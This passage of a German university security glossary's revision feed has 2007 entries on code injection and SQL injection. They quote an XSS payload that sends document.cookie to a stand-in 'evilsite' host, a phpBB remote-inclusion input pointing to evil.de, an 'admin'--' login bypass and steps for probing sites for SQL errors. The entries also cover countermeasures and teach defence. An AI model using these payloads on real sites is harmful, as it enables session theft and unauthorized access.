24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[8] SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015&amp;lt;br&amp;gt;&lt;br /&gt;
[9] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&amp;lt;br&amp;gt;&lt;br /&gt;
[10] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Site Scripting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Codeinjection]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Whitelisting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Blacklisting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Stored procedures]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Prepared statements]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9673</id>
		<title>Code Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9673"/>
		<updated>2007-06-25T15:11:08Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
&lt;br /&gt;
Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also&lt;br /&gt;
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite&lt;br /&gt;
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes&lt;br /&gt;
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,&lt;br /&gt;
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese&lt;br /&gt;
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die&lt;br /&gt;
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den&lt;br /&gt;
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code&lt;br /&gt;
verwendet werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Stehlen eines Cookies=&lt;br /&gt;
&lt;br /&gt;
Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit&amp;lt;br&amp;gt;&lt;br /&gt;
setcookie(&amp;quot;xss&amp;quot; , &amp;quot;This content will be stored in a cookie&amp;quot; );&amp;lt;br&amp;gt;&lt;br /&gt;
ein Cookie mit dem Namen xss und dem Inhalt &amp;quot;This content will be stored in a cookie&amp;quot; beim Benutzer an.&lt;br /&gt;
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des&lt;br /&gt;
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;scrpt&amp;gt;document.location=&amp;quot;http://www.evilsite.com/evilscript.php?&lt;br /&gt;
info=&amp;quot;+document.cookie;&amp;lt;/script&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Anschließend wird im Browser, der folgende Link angezeigt:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Umleitung einer Seite=&lt;br /&gt;
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-&lt;br /&gt;
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP&lt;br /&gt;
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [5] vorgeführt.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mit der Anweisung&amp;lt;br&amp;gt;&lt;br /&gt;
include_once($phpbb_root_path=’common.php’)&amp;lt;br&amp;gt;&lt;br /&gt;
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,&lt;br /&gt;
indem man die dynamische Seite mit folgendem Code „fütterte“ :&amp;lt;br&amp;gt;&lt;br /&gt;
/plugin.php&amp;amp;phpbb_root_path=http://evil.de&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt&lt;br /&gt;
wurde.&amp;lt;br&amp;gt;&lt;br /&gt;
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Gängige Vertreter=&lt;br /&gt;
[[SQL Injection]], wird am häufigsten eingesetzt&amp;lt;br&amp;gt;&lt;br /&gt;
[[LDAP Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[SSI Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[XPath Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.&lt;br /&gt;
ckers.org/xss.html&amp;lt;br&amp;gt;&lt;br /&gt;
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&amp;lt;br&amp;gt;&lt;br /&gt;
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&amp;lt;br&amp;gt;&lt;br /&gt;
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,&lt;br /&gt;
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8&amp;lt;br&amp;gt;&lt;br /&gt;
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu&lt;br /&gt;
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8&amp;lt;br&amp;gt;&lt;br /&gt;
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1&amp;lt;br&amp;gt;&lt;br /&gt;
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.&lt;br /&gt;
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches&lt;br /&gt;
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&amp;lt;br&amp;gt;&lt;br /&gt;
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.&lt;br /&gt;
-ISBN 3-540-63391-X&amp;lt;br&amp;gt;&lt;br /&gt;
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
[[Whitelisting]]&lt;br /&gt;
&lt;br /&gt;
[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9672</id>
		<title>Code Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9672"/>
		<updated>2007-06-25T15:10:28Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
&lt;br /&gt;
Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also&lt;br /&gt;
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite&lt;br /&gt;
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes&lt;br /&gt;
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,&lt;br /&gt;
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese&lt;br /&gt;
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die&lt;br /&gt;
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den&lt;br /&gt;
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code&lt;br /&gt;
verwendet werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Stehlen eines Cookies=&lt;br /&gt;
&lt;br /&gt;
Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit&amp;lt;br&amp;gt;&lt;br /&gt;
setcookie(&amp;quot;xss&amp;quot; , &amp;quot;This content will be stored in a cookie&amp;quot; );&amp;lt;br&amp;gt;&lt;br /&gt;
ein Cookie mit dem Namen xss und dem Inhalt &amp;quot;This content will be stored in a cookie&amp;quot; beim Benutzer an.&lt;br /&gt;
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des&lt;br /&gt;
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;scrpt&amp;gt;document.location=&amp;quot;http://www.evilsite.com/evilscript.php?&lt;br /&gt;
info=&amp;quot;+document.cookie;&amp;lt;/script&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Anschließend wird im Browser, der folgende Link angezeigt:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Umleitung einer Seite=&lt;br /&gt;
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-&lt;br /&gt;
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP&lt;br /&gt;
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [5] vorgeführt.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mit der Anweisung&amp;lt;br&amp;gt;&lt;br /&gt;
include_once($phpbb_root_path=’common.php’)&amp;lt;br&amp;gt;&lt;br /&gt;
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,&lt;br /&gt;
indem man die dynamische Seite mit folgendem Code „fütterte“ :&amp;lt;br&amp;gt;&lt;br /&gt;
/plugin.php&amp;amp;phpbb_root_path=http://evil.de&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt&lt;br /&gt;
wurde.&amp;lt;br&amp;gt;&lt;br /&gt;
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Gängige Vertreter=&lt;br /&gt;
[[SQL Injection]], wird am häufigsten eingesetzt&amp;lt;br&amp;gt;&lt;br /&gt;
[[LDAP Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[SSI Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[XPath Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.&lt;br /&gt;
ckers.org/xss.html&amp;lt;br&amp;gt;&lt;br /&gt;
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&amp;lt;br&amp;gt;&lt;br /&gt;
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&amp;lt;br&amp;gt;&lt;br /&gt;
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,&lt;br /&gt;
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8&amp;lt;br&amp;gt;&lt;br /&gt;
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu&lt;br /&gt;
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8&amp;lt;br&amp;gt;&lt;br /&gt;
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1&amp;lt;br&amp;gt;&lt;br /&gt;
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.&lt;br /&gt;
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches&lt;br /&gt;
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&amp;lt;br&amp;gt;&lt;br /&gt;
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.&lt;br /&gt;
-ISBN 3-540-63391-X&amp;lt;br&amp;gt;&lt;br /&gt;
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
[[Whitelisting]]&lt;br /&gt;
&lt;br /&gt;
[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9671</id>
		<title>SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9671"/>
		<updated>2007-06-25T15:07:29Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen&lt;br /&gt;
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen&lt;br /&gt;
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die&lt;br /&gt;
Parameter einer URL an die Webseite weitergereicht werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Beispiel=&lt;br /&gt;
Laut [9] treten bei .asp und .cfm Skripten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder&lt;br /&gt;
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;$username&#039; AND password =&#039;$password&#039;&lt;br /&gt;
&lt;br /&gt;
In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;quot;admin&#039;--&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;--&#039; AND password =&#039;beliebig&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,&lt;br /&gt;
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten.&amp;lt;br&amp;gt;&lt;br /&gt;
Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da, laut [9], 2006 das T-Online Karriereform&lt;br /&gt;
so einen passwortlosen Zugang erlaubte.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=How to=&lt;br /&gt;
&lt;br /&gt;
Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.&lt;br /&gt;
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe&lt;br /&gt;
mit den Endungen &amp;quot;.asp&amp;quot; und &amp;quot;.cmf&amp;quot; gesucht, da hier die meisten Probleme zu erwarten sind [9]. Um die Anfälligkeit der so&lt;br /&gt;
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über&lt;br /&gt;
die Zahl 512&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,&lt;br /&gt;
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des&lt;br /&gt;
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so&lt;br /&gt;
aussieht: „name=val’ue“.&lt;br /&gt;
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung&lt;br /&gt;
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt&lt;br /&gt;
aussehen:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 1:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for SQL Server error ’80040e14’&lt;br /&gt;
&lt;br /&gt;
Unclosed quotation mark before the character string&lt;br /&gt;
&lt;br /&gt;
’51 ORDER BY some_name’.&lt;br /&gt;
&lt;br /&gt;
/some_directory/some_file.asp, line 5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 2:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ODBC Error Code = S1000 (General error)&lt;br /&gt;
&lt;br /&gt;
[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended&lt;br /&gt;
&lt;br /&gt;
Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML&lt;br /&gt;
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.&lt;br /&gt;
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.&lt;br /&gt;
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte&lt;br /&gt;
Anwendung für SQL-Injection zugänglich ist.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Beispiel nach [7].&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
SQL bietet eigene Möglichkeiten, um sich vor SQL Injection Angriffen zu schützen, wie z.B. [[Stored procedures]] und&lt;br /&gt;
[[Prepared statements]].&amp;lt;br&amp;gt;&lt;br /&gt;
Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools&lt;br /&gt;
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der SQL Injection&lt;br /&gt;
Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer&lt;br /&gt;
Seite auf Schwachstellen testet.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;(Weitere Tools dieser ARt können bei www.astalavista.com gefunden werden.)&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da der Mensch allerdings gerade bei destruktiven Aufgaben weit&lt;br /&gt;
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute&lt;br /&gt;
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige&lt;br /&gt;
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind&lt;br /&gt;
in im weiterführenden Link zu finden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,&lt;br /&gt;
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher&lt;br /&gt;
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -&lt;br /&gt;
das gilt auch für die Variablen in den URLs!&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht&lt;br /&gt;
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine&lt;br /&gt;
Vermischung dieser beiden Filterarten ist möglich.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=weiterführender Link=&lt;br /&gt;
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015]] Beispielliste mit sicheren&lt;br /&gt;
Datenbankabfragen in unterschiedlichen Programmiersprachen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners&lt;br /&gt;
&lt;br /&gt;
[2] Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com &lt;br /&gt;
&lt;br /&gt;
[3] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
[4] SQL-Injektion. Abfragedatum: 24.Mai 2007. http://de.wikipedia.org/wiki/SQL-Injektion&lt;br /&gt;
&lt;br /&gt;
[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&lt;br /&gt;
&lt;br /&gt;
[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&lt;br /&gt;
&lt;br /&gt;
[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&lt;br /&gt;
&lt;br /&gt;
[8] SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015&lt;br /&gt;
&lt;br /&gt;
[9] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&lt;br /&gt;
&lt;br /&gt;
[10] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
*[[Codeinjection]]&lt;br /&gt;
&lt;br /&gt;
*[[Whitelisting]]&lt;br /&gt;
&lt;br /&gt;
*[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
